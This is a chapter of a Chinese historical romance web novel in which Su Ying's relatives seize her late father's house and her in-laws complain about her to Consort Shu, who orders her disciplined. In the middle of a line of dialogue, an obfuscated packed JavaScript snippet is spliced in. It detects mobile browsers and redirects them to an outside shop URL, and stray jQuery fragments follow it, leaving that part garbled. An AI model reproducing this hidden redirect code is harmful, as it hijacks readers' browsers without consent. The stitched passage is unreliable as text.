族长与大伯母的话说得直白粗鄙,苏文寓更是拿出官府的批文给苏楹看。
“这是本府下放的文书。如果我们是霸人财产的恶人,官府能把宅子判给我们吗?”
堂哥笑道:“如今这宅子于公于私都是我们的,阿楹你就不要再钻牛角尖了。能够嫁给皇子已经够好了,不要再惦记别的。这件事情我们占理,你要不服气,可以去衙门告我们。”
“胡说什么,”大伯母嗔他,“你妹妹最明白事体,和她好好说清楚她自然明白。”
苏楹起身就走,秋棠、春桃随即跟上。
大伯母在后面尖声喊道:“别走啊,哎哟,怎么就走了,留下来吃饭呀~”
苏楹憋着一肚子的火上轿,陈新明隔着帘子问:“酒水礼物……”
“带回去!”失风度就失风度,别指望她怄了气还搭上礼物。
陈新明忍俊不禁。主子不与他们扯烂账是对的,一来他们人多势众,主子吵不赢他们,再来他们有官府下放的文书,即便吵赢了也只是浪费力气。
依他观察,主子约莫不会主动向五郎君寻求帮助,他做个好人,替她开口求一求好了。
·
目送轿子离去,大伯母有些不安地问苏文寓:“万一她厚着脸皮求五殿下,我们岂不是有麻烦?”
苏文寓无可无不可地道:“怕什么,咱有官府的文书。”
族长瞅他一眼,颤巍巍地拄着拐杖站起身,苏文寓忙遣长子去扶他。
“苏家的药材生意以前全靠你二弟,论理,我身为宗族的族长该对二房长姐偏心,”族长叹气,“饶是你们有文书,我等也能出面找官爷说道说道。霸占孤女财产放到哪里都不占理。”
苏文寓道:“太公又说这话。没有我们叔伯撑腰,她光靠宅子能靠得住?”他对两个儿子道:“把家里的几坛子金华酒拿出来,再让厨房整治一桌子好嗄饭给太公。”
两个儿子应喏,搀着族长去卷棚用饭。
族长一步一喘地跟着去。
苏文寓打发下人往食盒里装五十两银子,到时候给族长送去。
众人出去后,大伯母仍是担心五皇子那边。
“虽说殿下不待见苏楹,两人到底是夫妻,万一……”
“没事。”苏文寓安抚发妻,微微笑道,“你以为淑妃儿媳的宅子那么好夺,文书那么好拿?别想那么多,我们只管享受。”
至于那位大人为何要把宅院判给苏文寓,苏文寓并不关心。
他只知道弟弟得罪了不该得罪的人,被人暗算了。
是,他比不上弟弟聪慧,弟弟年纪轻轻考进太医院不说,没几年就踩着资历一步步坐上了院判的位置,可弟弟的命没有他好哇。
弟弟在太医院忙得团团转,休沐还得到惠民局给穷人义诊,而他只用靠着好弟弟便能博得名医的头衔,前来寓和堂求诊的达官显贵不计其数,他赚得盆满钵满。
如今弟弟死了,他不费吹灰之力得到了弟弟的大头财产,还有贵人主动把文书下放给他,这不是命好是什么?
实力与名气固然重要,但实力太强、名气太大,很容易被人宰杀。
做人就得像他这样,不动声色地发大财,享大福!
·
苏楹被大房那伙人气得胸口疼。
她从荷包里摸出包黄油纸,拆开来,里面是一颗颗水蓝色的方形薄荷糖。
捻起一颗放进嘴里,用牙齿慢慢磨碎,辛芳的薄荷气使她舒坦许多,胸口没那么闷了。
她蹙起眉头思忖对策。
要她放弃家宅是不可能的,可是大房这边有苏氏宗族的支持和官府的宣判文书,她一个弱女子能怎么办呢?她连独自敲鼓诉冤都很难做到。
轿子路过府衙时,她往外看了看,一个头戴儒巾的男子沿着街边走过去,他的身形与记忆中的那个人有三分相似。
苏楹记得他在礼部当差有好些年头了,或许能求他帮忙想想办法。
想到了他,苏楹不禁想起尚在闺阁时的无忧无虑的日子。
心里略微有些滞涩。
不想了,苏楹咬碎薄荷糖,能嫁给五殿下已经是当前最好的路了,她不愿再去思索那个“假如”。
从角门回去住所,只见院里的丫鬟婆子面色很不好地立在廊下,崔娘子赶来扶苏楹,低声在她耳边说:“俞二姐来了。”
苏楹抬眼望去,看见个穿粉衫碧裙的小娘子,她个子高挑,鹅蛋脸,柳眉梢,皮肤不白不黄。年纪不过比苏楹大个一两岁,行动间自有一种娇俏韵致。
俞赛在挑盖头的时节已经把苏楹瞧够本,此时只略微扫了苏楹两眼,即便她讨厌苏楹,该有的礼数还是要有。
她带着丫鬟青梨走到苏楹跟前屈膝行礼,苏楹亦屈膝还礼。两边丫鬟也互相见过了,俞赛道:“嫂子去哪儿了,弄得浩浩荡荡的。”
苏楹淡笑:“你哥托我去街上置办点东西。”
俞赛信以为真:“置办什么东西?”
苏楹自不会傻到告诉她实情,拨转话题:“二姐进屋坐坐吧。”
俞赛用看好戏的眼神看苏楹:“不坐了,我娘找你,要你赶紧过去一趟。”
说着,也不等她多问,笑眯眯地直催苏楹走。
“几步路而已,嫂子去就知道了。”
今儿一大清早,俞赛就随母亲何氏进宫了。
淑妃膝下只五殿下这么一个儿子,儿子性冷,只有辛苦嫂子多进宫来同她说说儿子的近况。
俞赛是俞家最小的孩子,隔三岔五就陪着何氏进宫,对着淑妃一口一个姑姑喊得亲香,淑妃看她比看儿子亲。
“阿楹和五郎相处得如何?”儿子刚成婚,淑妃自然关心。再者她从未见过苏楹,对于这桩婚事她心里其实没底,只是彼时要保护旧友骨肉的急迫心情胜过一切,要是苏家没有出事,她未必会求成治帝赐婚。
何氏面露难色,勉强笑说:“阿楹……是个乖巧孩子。”
淑妃脸上的笑容也就慢慢收起来:“怎么说?难道,两人处得不好?”
俞赛嘟嘴道:“她好不好,姑姑还真别问我们,我们不知道。”
何氏轻咳一声,故意斥俞赛:“娘娘面前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524743|203440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不得胡言。”
淑妃让俞赛坐到她身边,把宫女切好的果盘推到俞赛面前。
“姑姑跟前,二姐想说什么就说什么。”淑妃道,“跟姑姑说实话,到底怎么回事。”
俞赛抿了抿嘴,眼珠子滴溜溜转,颔首道:“姑姑问,那我就说实话了,姑姑别嫌我舌头长挑拨事情。”
“你快说。实话实说。”
俞赛道:“苏长姐或许是心情不佳吧,哎,也不能怪她,谁遇着那种事心情都不会好,可她也不能把脾气发泄在我们身上呀。”
淑妃皱眉:“她脾气不好?”
何氏笑道:“千金宝贝独生女子有些脾气正常。”
淑妃的眉头皱得更深。
俞赛接着道:“她对我、对下人颐指气使便算了,我只气她不尊重母亲,一点身为女子的修养都没有。她知道她娘和姑姑你相熟,这才嫁进来几天,对着我母亲蹬鼻子上脸的,连请安都不请。”
淑妃听俞赛说苏楹脾气不好时尚可,一听苏楹不尊重何氏,面色瞬间沉下去。
她的这个嫂子代替她照顾齐斐将近二十年,事无巨细,这些淑妃全看在眼里,如果苏楹对何氏不孝,那么淑妃对何氏只会更觉亏欠。
淑妃不知道成治帝何时恢复齐斐身份,更不知道还要劳烦何氏多少年,因此她不可能对苏楹的行为不闻不问,她必须表明态度。
她即刻下了一道手谕,着何氏教导苏楹规矩,让苏楹明白何为女德,何为妇道。
要是苏楹仍不懂得孝敬长辈、谦恭有礼,她会派宫里的训诫嬷嬷过去教导。
何氏领了手谕,同着女儿高高兴兴地回府了。
本来何氏一心想让何家的闺女何秀吉嫁给齐斐,算是亲上加亲,同时也让何家与皇家沾些亲戚,想着等齐斐及冠了就找淑妃说说,看到底怎么样。
谁料她这边还没开口,苏楹一杠子戳进来,让她的打算瞬间落空,她岂有不恨苏楹的道理?
俞赛自小与何氏这边的亲戚亲密,与表姐何秀吉更是闺中密友,她也是一心巴望着何秀吉能成功与她成为妯娌,现在一个认都不认识的苏楹抢了她留给何秀吉的位置,因此她很讨厌苏楹,这才在淑妃面前狠告苏楹一状。
有了淑妃娘娘的手谕,母女俩不怕苏楹不服!
走进何氏住的正屋,跪着听了淑妃娘娘的教训,苏楹怔了。
她怎么就飞扬跋扈不尊长辈不识礼节了?
何氏瞧着苏楹愕愣的小脸,笑:“此乃训育常用的词,你不必太放在心上。只是娘娘命我教你规矩,我不能不遵从。今日天色已晚,我也乏了,从明日起,卯时来我屋里,我教你请安。”
俞赛挑眉笑道:“卯时哦,嫂子千万别迟到了,要是迟到了,便是不服淑妃娘娘管教。我好心提醒你,你可要记着。”
苏楹扯扯嘴角:“多谢二姐提醒,我记住了。”
何氏望着苏楹变得苍白的脸色,心中积攒的闷气总算消散些许。
她也不打算很难为苏楹,但不管怎么着,都得让苏楹难受一段日子,尝尝她心里的不快!